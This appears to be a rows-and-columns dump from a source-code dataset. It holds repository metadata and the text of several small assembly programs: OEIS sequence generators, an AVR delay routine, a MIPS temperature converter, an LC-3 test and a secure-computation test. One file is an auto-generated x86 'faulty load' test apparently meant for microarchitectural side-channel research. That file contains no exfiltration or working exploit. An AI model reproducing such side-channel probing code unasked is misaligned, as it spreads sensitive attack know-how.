hexsha stringlengths 40 40 | size int64 6 1.05M | ext stringclasses 3 values | lang stringclasses 1 value | max_stars_repo_path stringlengths 4 232 | max_stars_repo_name stringlengths 7 106 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 7 | max_stars_count int64 1 33.5k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 232 | max_issues_repo_name stringlengths 7 106 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 7 | max_issues_count int64 1 37.5k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 232 | max_forks_repo_name stringlengths 7 106 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 7 | max_forks_count int64 1 12.6k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 1.05M | avg_line_length float64 1.16 19.7k | max_line_length int64 2 938k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
acf56e8b0d3fd8049065b14c534bc1592ce02d8e | 97 | asm | Assembly | lab3_test_harness/test/state_data_in/18.asm | Zaydax/PipelineProcessor | f45f7d1a245f291218d53a7f16fd7f98a50ce47e | [
"MIT"
] | 2 | 2017-03-05T17:40:26.000Z | 2017-03-15T01:41:25.000Z | lab3_test_harness/test/state_data_in/18.asm | Zaydax/PipelineProcessor | f45f7d1a245f291218d53a7f16fd7f98a50ce47e | [
"MIT"
] | null | null | null | lab3_test_harness/test/state_data_in/18.asm | Zaydax/PipelineProcessor | f45f7d1a245f291218d53a7f16fd7f98a50ce47e | [
"MIT"
] | null | null | null | .ORIG x1234
LDB R0, R6, #1
LDB R0, R6, #1
LDB R0, R6, #1
LDB R0, R6, #1
LDB R0, R6, #1
.END
| 12.125 | 15 | 0.536082 |
0f5ac848483c00761d374431624fb17a5ea55e03 | 572 | asm | Assembly | programs/oeis/163/A163169.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/163/A163169.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/163/A163169.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A163169: a(n) = minimal number of consecutive integers required which when summed make n.
; 0,2,0,2,0,2,3,2,0,2,4,2,3,2,4,2,0,2,3,2,5,2,4,2,3,2,4,2,7,2,3,2,0,2,4,2,3,2,4,2,5,2,3,2,8,2,4,2,3,2,4,2,8,2,3,2,7,2,4,2,3,2,4,2,0,2,3,2,8,2,4,2,3,2,4,2,8,2,3,2,5,2,4,2,3,2,4,2,11,2,3,2,8,2,4,2,3,2,4,2
add $0,1
mov $2,2
mov $3,$0
mov $4,$0
lpb $3
add $0,$2
mov $5,$4
lpb $5
mov $1,$2
mov $6,$0
div $0,$2
mod $6,$2
cmp $6,0
sub $3,$6
sub $4,6
sub $5,$6
lpe
add $2,1
mov $6,$0
cmp $6,1
cmp $6,0
sub $3,$6
mod $4,2
lpe
mov $0,$1
| 19.724138 | 202 | 0.508741 |
54d5278b7ada026115bfaa250e77806d11d09450 | 597 | asm | Assembly | experiments/beep/beep.asm | daltonmatos/avrgcc-mixed-with-avrasm2 | f28120af3089fdd150d7a609409c56f5408a1658 | [
"BSD-3-Clause"
] | 2 | 2019-01-15T16:30:19.000Z | 2019-08-15T02:31:22.000Z | experiments/beep/beep.asm | daltonmatos/avrgcc-mixed-with-avrasm2 | f28120af3089fdd150d7a609409c56f5408a1658 | [
"BSD-3-Clause"
] | null | null | null | experiments/beep/beep.asm | daltonmatos/avrgcc-mixed-with-avrasm2 | f28120af3089fdd150d7a609409c56f5408a1658 | [
"BSD-3-Clause"
] | null | null | null | .include "../m644Pdef.inc"
.def treg =r14 ;temp reg for ISR
.def SregSaver =r15 ;Storage of the SREG, used in ISR
.def t =r16 ;Main temporary register
;R17-R24 is the local variables pool
.def tt =r25 ;Temp reg for ISR
WaitXms:
ldi yl, 10
rcall wms
sbiw x, 1
brne WaitXms
ret
wms:
ldi t, 250 ;wait yl *0.1 ms at 20MHz
wm1:
dec t
nop
nop
nop
nop
nop
brne wm1
dec yl
brne wms
ret
.include "macros.inc"
;.include "hardware.asm"
;.include "setuphw.asm"
beep:
ldx 500
call WaitXms
;call SetupHardware
;BuzzerOn
ret
| 12.702128 | 54 | 0.623116 |
a75470a3da4fae2ac84fc20617f7a84b8ab2ba5a | 160 | asm | Assembly | libsrc/_DEVELOPMENT/input/ep/c/sdcc_iy/in_stick_ext1.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/input/ep/c/sdcc_iy/in_stick_ext1.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/input/ep/c/sdcc_iy/in_stick_ext1.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
; uint16_t in_stick_ext1(void)
SECTION code_clib
SECTION code_input
PUBLIC _in_stick_ext1
EXTERN asm_in_stick_ext1
defc _in_stick_ext1 = asm_in_stick_ext1
| 13.333333 | 39 | 0.85 |
e598cffc81f01f77a72e93ef72c13079dfd93b08 | 313 | asm | Assembly | programs/oeis/078/A078488.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/078/A078488.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/078/A078488.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A078488: First differences of coefficients of g.f. (1-x)^24.
; -25,300,-2300,12650,-53130,177100,-480700,1081575,-2042975,3268760,-4457400,5200300,-5200300,4457400,-3268760,2042975,-1081575,480700,-177100,53130,-12650,2300,-300,25
mov $1,$0
sub $0,25
add $1,1
bin $0,$1
sub $0,300
div $0,5
mul $0,5
add $0,300
| 26.083333 | 169 | 0.709265 |
3b25792704ef9a16fccee2421d8d73d1c888b07d | 151 | asm | Assembly | 8086/4decarith/decsub.asm | iamvk1437k/mpmc | 3640b29f29b3ffa78747b13b2ca8ac77c49695eb | [
"MIT"
] | 1 | 2022-01-01T11:27:43.000Z | 2022-01-01T11:27:43.000Z | 8086/4decarith/decsub.asm | iamvk1437k/mpmc | 3640b29f29b3ffa78747b13b2ca8ac77c49695eb | [
"MIT"
] | null | null | null | 8086/4decarith/decsub.asm | iamvk1437k/mpmc | 3640b29f29b3ffa78747b13b2ca8ac77c49695eb | [
"MIT"
] | null | null | null | MOV AL,15 ; load the value of AL
MOV BL,08 ; load the value of BL
SUB AL,BL ; AL=AL-BL
DAA ; adjust the decimal after subtraction
RET
| 25.166667 | 51 | 0.642384 |
21f1b43aeec368e9635443ff24c0a848954f5724 | 552 | asm | Assembly | programs/oeis/132/A132729.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/132/A132729.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/132/A132729.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A132729: Triangle T(n, k) = 2*binomial(n, k) - 3 with T(n, 0) = T(n, n) = 1, read by rows.
; 1,1,1,1,1,1,1,3,3,1,1,5,9,5,1,1,7,17,17,7,1,1,9,27,37,27,9,1,1,11,39,67,67,39,11,1,1,13,53,109,137,109,53,13,1,1,15,69,165,249,249,165,69,15,1,1,17,87,237,417,501,417,237,87,17,1,1,19,107,327,657,921,921,657,327,107,19,1
cal $0,206735 ; Triangle T(n,k), read by rows, given by (0, 2, -1/2, 1/2, 0, 0, 0, 0, 0, 0, 0, ...) DELTA (1, 0, -1/2, 1/2, 0, 0, 0, 0, 0, 0, 0, ...) where DELTA is the operator defined in A084938.
trn $0,2
mov $1,$0
mul $1,2
add $1,1
| 61.333333 | 222 | 0.583333 |
e7658772e36d82dd8ea31ef10b1211c89362db28 | 1,202 | asm | Assembly | CS 224 - Spring 2018/Lab1/Program2.asm | ybalcanci/bilkent-assignments-labs-projects | f25150dfa9cb5f2627104f61713e68587c967211 | [
"MIT"
] | 2 | 2020-09-16T13:45:17.000Z | 2021-01-16T10:20:06.000Z | CS 224 - Spring 2018/Lab1/Program2.asm | ybalcanci/bilkent-assignments-labs-projects | f25150dfa9cb5f2627104f61713e68587c967211 | [
"MIT"
] | 2 | 2020-10-07T15:35:08.000Z | 2020-10-07T17:15:34.000Z | CS 224 - Spring 2018/Lab1/Program2.asm | ybalcanci/bilkent-assignments-labs-projects | f25150dfa9cb5f2627104f61713e68587c967211 | [
"MIT"
] | 2 | 2020-10-07T15:58:34.000Z | 2021-09-29T19:16:51.000Z | ##
## Program2.asm asks user for temperature in Celsius,
## converts to Fahrenheit, prints the result.
##
## v0 - reads in Celsius
## t0 - holds Fahrenheit result
## a0 - points to output strings
##
#################################
# #
# text segment #
# #
#################################
.text
.globl __start
__start:
la $a0,prompt # output prompt message on terminal
li $v0,4 # syscall 4 prints the string
syscall
li $v0, 5 # syscall 5 reads an integer
syscall
mul $t0,$v0,9 # to convert,multiply by 9,
div $t0,$t0,5 # divide by 5, then
add $t0,$t0,32 # add 32
la $a0,ans1 # print string before result
li $v0,4
syscall
move $a0,$t0 # print integer result
li $v0,1 # using syscall 1
syscall
la $a0,endl # system call to print
li $v0,4 # out a newline
syscall
li $v0,10 # system call to exit
syscall # bye bye
#################################
# #
# data segment #
# #
#################################
.data
prompt: .asciiz "Enter temperature (Celsius): "
ans1: .asciiz "The temperature in Fahrenheit is "
endl: .asciiz "\n"
##
## end of file Program2.asm
| 19.704918 | 54 | 0.532446 |
a197ab5b4240c8ca68465098a5e51db3070fb47d | 1,946 | asm | Assembly | programs/oeis/017/A017143.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/017/A017143.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/017/A017143.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A017143: a(n) = (8*n+6)^7.
; 279936,105413504,2494357888,21870000000,114415582592,435817657216,1338925209984,3521614606208,8235430000000,17565568854912,34792782221696,64847759419264,114868566764928,194871710000000,318547390056832,504189521813376,775771085481344,1164175380274048,1708593750000000,2458100350228352,3473414526672256,4828861374436224,6614541047773568,8938717390000000,11930436453209472,15742385477438336,20554002898923904,26574849957103488,34048254470000000,43255237347640192,54518732413151616,68208110101184384,84744015603303808,104603532030000000,128325679158960512,156517258339252096,189859054121057664,229112403180614528,275126141110000000,328843937641410432,391312030875579776,463687371083983744,547246184654475648,643392968750000000,753669927250029952,879766858544374656,1023531505749002624,1186980379913527168,1372310066790000000,1581909027732659072,1818369905298276736,2084502344116754304,2383346337601609088,2718186111070000000,3092564551841937792,3510298196888326016,3975492788597478784,4492559409229761408,5066231204630000000,5701580707767306112,6404037772671962496,7179408129339016064,8033892570168224128,8974106778510000000,10007101809887004032,11140385236461026176,12381942965314806144,13740261741118437248,15224352343750000000,16843773491440071552,18608656460009757056,20529730428771889024,22618348563665040768,24886514848190000000,27346911672718348672,30012928192742795136,32898689466638904704,36019086383507874688,39389806391670000000,43027365038378475392,46949138331323180416,51173395932494093184,55719335194973979008,60607116053230000000,65857896777473891712,71493870602660352896,77538303242693294464,84015571300409593728,90951201583910000000,98371911339806837632,106305649413958152576,114781638350257948544,123830417438052158848,133483886718750000000,143775351962200353152,154739570623402819456,166412798790123095424,178832839131982314368,192039089861590000000,206072594718290278272
mul $0,8
add $0,6
pow $0,7
| 278 | 1,888 | 0.932682 |
b4d4319978f79ccd7f633bb99958d284d1e99ce3 | 481 | asm | Assembly | programs/oeis/061/A061091.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/061/A061091.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/061/A061091.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A061091: Number of k with 1 <= k <= n relatively prime to phi(k).
; 1,2,3,3,4,4,5,5,5,5,6,6,7,7,8,8,9,9,10,10,10,10,11,11,11,11,11,11,12,12,13,13,14,14,15,15,16,16,16,16,17,17,18,18,18,18,19,19,19,19,20,20,21,21,21,21,21,21,22,22,23,23,23,23,24,24,25,25,26,26,27,27,28,28,28,28,29,29,30,30,30,30,31,31,32,32,33,33,34,34,35,35,35,35,36,36,37,37,37,37
lpb $0
mov $2,$0
sub $0,1
seq $2,297086 ; a(n) = 1 if gcd(n, phi(n)) == 1 otherwise 0.
add $1,$2
lpe
add $1,1
mov $0,$1
| 40.083333 | 283 | 0.607069 |
779bcdeefb4d9ca3a45c4fcbffb5c26576975894 | 418 | asm | Assembly | examples/popcount.asm | Dreistein/toyvm | 0a3697ec46a746ccb47cd4903e1b111fa59e1f28 | [
"MIT"
] | 2 | 2021-01-25T14:34:13.000Z | 2021-05-19T01:16:30.000Z | examples/popcount.asm | Dreistein/toyvm | 0a3697ec46a746ccb47cd4903e1b111fa59e1f28 | [
"MIT"
] | 6 | 2018-03-01T19:48:31.000Z | 2018-10-18T07:52:34.000Z | examples/popcount.asm | Dreistein/toyvm | 0a3697ec46a746ccb47cd4903e1b111fa59e1f28 | [
"MIT"
] | 2 | 2018-05-18T02:55:04.000Z | 2020-10-02T21:57:31.000Z | MAIN:
PUSH @$WORD
CALL $POPCOUNT
POP R0
OUT R0 0
HLT
WORD: DW 0x1234
POPCOUNT:
PUSH SB #108
MOV R0 @2[SP] #109
MOV R1 0xFFFF #10B
INC:
INC R1 #10D
SHIFT:
SHR R0 #10E
JC $INC #if carry is set, increment #10F
JNZ $SHIFT # if number is still not zero, shift again #110
MOV @2[SP] R1 #111
POP SB #113
RET #114 | 19 | 63 | 0.509569 |
8ab5711d00488ee787515deac8f37322ef4c36d8 | 485 | asm | Assembly | Assembler/tests/optimizations/read_before_write_bug.asm | asifmallik/SCALE-MAMBA | 80db831818b55b7675dd549920b5fb096db4321f | [
"BSD-2-Clause"
] | 196 | 2018-05-25T11:41:56.000Z | 2022-03-12T05:49:50.000Z | Assembler/tests/optimizations/read_before_write_bug.asm | asifmallik/SCALE-MAMBA | 80db831818b55b7675dd549920b5fb096db4321f | [
"BSD-2-Clause"
] | 49 | 2018-07-17T15:49:41.000Z | 2021-01-19T11:35:31.000Z | Assembler/tests/optimizations/read_before_write_bug.asm | asifmallik/SCALE-MAMBA | 80db831818b55b7675dd549920b5fb096db4321f | [
"BSD-2-Clause"
] | 90 | 2018-05-25T11:41:42.000Z | 2022-03-23T19:15:10.000Z | # test_comparison-0--0
ldi c0, 2 # 0
ldsi s0, 1 # 1
ldsi s1, 1 # 2
movs s5, s0 # 3
movs s6, s1 # 4
modci c1, c0, 2 # 5
subc c4, c0, c1 # 6
ldi c13, 1 # 7
divci c14, c13, 2 # 8
mulc c12, c4, c14 # 9
modci c2, c12, 2 # 10
vmulci 2, c7, c1, 2 # 11
vmulm 2, s11, s5, c7 # 12
vaddm 2, s13, s5, c1 # 13
vsubs 2, s7, s13, s11 # 14
startopen 1, s14 # 15
stopopen 1, c37 # 16
stmc c37, 1005 # 17
vstartopen 2, 1, s7 # 18
vstopopen 2, 1, c38 # 19
stmc c38, 1006 # 20
reqbl 19 # 21
reqbl 19 # 22
| 19.4 | 26 | 0.602062 |
c54913438b92c4c5316ffb1afccfa62f046b8348 | 1,545 | asm | Assembly | programs/oeis/193/A193643.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/193/A193643.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/193/A193643.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A193643: Number of arrays of -3..3 integers x(1..n) with every x(i) in a subsequence of length 1 or 2 with sum zero
; 1,7,19,67,217,721,2377,7855,25939,85675,282961,934561,3086641,10194487,33670099,111204787,367284457,1213058161,4006458937,13232434975,43703763859,144343726555,476734943521,1574548557121,5200380614881,17175690401767,56727451820179,187358045862307,618801589407097,2043762814083601,6750090031657897,22294032909057295,73632188758829779,243190599185546635,803203986315469681,2652802558131955681,8761611660711336721,28937637540265965847,95574524281509234259,315661210384793668627,1042558155435890240137,3443335676692464389041,11372565185513283407257,37561031233232314610815,124055658885210227239699,409728007888862996329915,1353239682551799216229441,4469447055544260645018241,14761580849184581151284161,48754189603098004098870727,161024149658478593447896339,531826638578533784442559747,1756504065394079946775575577,5801338834760773624769286481,19160520569676400821083435017,63282900543789976088019591535,209009222201046329085142209619,690310567146928963343446220395,2279940923641833219115480870801,7530133338072428620689888832801,24870340937859119081185147369201,82141156151649785864245330940407,271293809392808476673921140190419,896022584330075215886008751511667,2959361562383034124331947394725417,9774107271479177588881850935687921,32281683376820566890977500201789177,106619157401940878261814351541055455,352139155582643201676420554824955539
add $0,1
seq $0,52991 ; Expansion of (1-x-x^2)/(1-3x-x^2).
div $0,6
mul $0,6
add $0,1
| 171.666667 | 1,339 | 0.907443 |
52339b2da10fb79ef97d8663c50e53544b1bee54 | 5,474 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2.log_1_631.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2.log_1_631.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2.log_1_631.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r15
push %r9
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x6445, %r15
nop
nop
cmp %rbx, %rbx
movups (%r15), %xmm0
vpextrq $1, %xmm0, %r9
nop
nop
nop
nop
nop
xor %r15, %r15
lea addresses_WC_ht+0xa325, %rcx
nop
nop
sub $48136, %rax
mov (%rcx), %r9
nop
nop
add $57523, %rax
lea addresses_UC_ht+0x13109, %rcx
nop
add $5577, %rdx
movups (%rcx), %xmm5
vpextrq $0, %xmm5, %r15
nop
add %rax, %rax
lea addresses_UC_ht+0x1aa9d, %rsi
lea addresses_D_ht+0x1e53d, %rdi
nop
nop
sub %r15, %r15
mov $67, %rcx
rep movsb
nop
lfence
lea addresses_normal_ht+0xc43d, %rax
and $64558, %rdi
mov $0x6162636465666768, %rsi
movq %rsi, %xmm4
vmovups %ymm4, (%rax)
nop
nop
nop
nop
nop
inc %r15
lea addresses_A_ht+0x11e1d, %rsi
lea addresses_UC_ht+0xd09d, %rdi
nop
nop
nop
nop
and $35484, %rdx
mov $82, %rcx
rep movsb
nop
nop
nop
add %rsi, %rsi
lea addresses_A_ht+0x3303, %rsi
lea addresses_UC_ht+0x5ffd, %rdi
nop
nop
and $38188, %rax
mov $99, %rcx
rep movsb
nop
nop
nop
nop
nop
and %rsi, %rsi
lea addresses_A_ht+0x1190d, %rcx
nop
nop
cmp %rax, %rax
mov $0x6162636465666768, %r9
movq %r9, (%rcx)
nop
nop
nop
nop
xor $50447, %r15
lea addresses_normal_ht+0x917d, %r9
clflush (%r9)
nop
nop
nop
nop
nop
xor $7452, %rcx
movw $0x6162, (%r9)
nop
nop
dec %rcx
lea addresses_D_ht+0x14e8d, %rsi
add %rax, %rax
and $0xffffffffffffffc0, %rsi
vmovntdqa (%rsi), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $1, %xmm4, %rdx
nop
nop
nop
nop
nop
sub $13633, %r15
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r15
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %rax
push %rcx
push %rdi
push %rdx
// Store
lea addresses_PSE+0x821d, %r11
clflush (%r11)
nop
nop
nop
nop
and $62943, %rdx
mov $0x5152535455565758, %rax
movq %rax, (%r11)
nop
nop
nop
cmp %rcx, %rcx
// Store
lea addresses_D+0xaa1d, %r14
clflush (%r14)
nop
nop
nop
nop
xor %rdi, %rdi
movl $0x51525354, (%r14)
add %r14, %r14
// Load
mov $0x599, %rax
dec %r12
mov (%rax), %cx
cmp $45872, %rdi
// Store
lea addresses_PSE+0x6a7d, %rax
nop
nop
inc %r14
mov $0x5152535455565758, %r12
movq %r12, %xmm4
vmovups %ymm4, (%rax)
nop
nop
nop
and $52205, %rcx
// Store
lea addresses_WC+0x51bd, %r14
nop
sub %r12, %r12
mov $0x5152535455565758, %rax
movq %rax, %xmm6
movups %xmm6, (%r14)
sub %rdi, %rdi
// Store
lea addresses_UC+0xb19d, %r14
nop
nop
nop
nop
sub %rdx, %rdx
mov $0x5152535455565758, %r12
movq %r12, %xmm3
vmovups %ymm3, (%r14)
nop
nop
dec %rdx
// Store
lea addresses_RW+0x6a48, %rdi
nop
nop
nop
nop
add $54641, %r12
mov $0x5152535455565758, %r11
movq %r11, %xmm6
movups %xmm6, (%rdi)
nop
nop
nop
nop
xor $64367, %rcx
// Faulty Load
lea addresses_A+0x1621d, %rax
nop
nop
nop
add $53005, %r11
vmovaps (%rax), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $0, %xmm4, %rcx
lea oracles, %rdi
and $0xff, %rcx
shlq $12, %rcx
mov (%rdi,%rcx,1), %rcx
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_P', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 3, 'same': False}}
{'00': 1}
00
*/
| 20.125 | 148 | 0.647607 |
89cc5dab3bd87753eeb011d6fe188069abd1001b | 454 | asm | Assembly | oeis/101/A101562.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/101/A101562.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/101/A101562.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A101562: a(n)=(-1)^n*coefficient of x^n in sum{k>=1,x^(k-1)/(1+4x^k)}.
; Submitted by Christian Krause
; 1,3,17,67,257,1011,4097,16451,65553,261891,1048577,4195379,16777217,67104771,268435729,1073758275,4294967297,17179804659,68719476737,274878168899,1099511631889,4398045462531,17592186044417,70368748389427
add $0,1
mov $2,$0
lpb $0
div $1,-1
mul $1,4
mov $3,$2
dif $3,$0
sub $0,1
cmp $3,$2
cmp $3,0
add $1,$3
lpe
add $1,1
gcd $0,$1
| 23.894737 | 205 | 0.689427 |
8968c6c26430602bce73c454d20a7e01c65b74a2 | 446 | asm | Assembly | oeis/049/A049513.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/049/A049513.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/049/A049513.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A049513: Array T by antidiagonals: T(k,n) = k*n*2^(n-1) + 1, n >= 0, k >= 0.
; Submitted by Christian Krause
; 1,1,1,1,2,1,1,3,5,1,1,4,9,13,1,1,5,13,25,33,1,1,6,17,37,65,81,1,1,7,21,49,97,161,193,1,1,8,25,61,129,241,385,449,1,1,9,29,73,161,321,577,897,1025,1,1,10,33,85,193,401,769,1345,2049,2305,1,1,11,37,97,225,481
lpb $0
add $1,1
sub $0,$1
lpe
sub $1,$0
mul $1,6
mul $1,$0
lpb $0
sub $0,1
mul $1,2
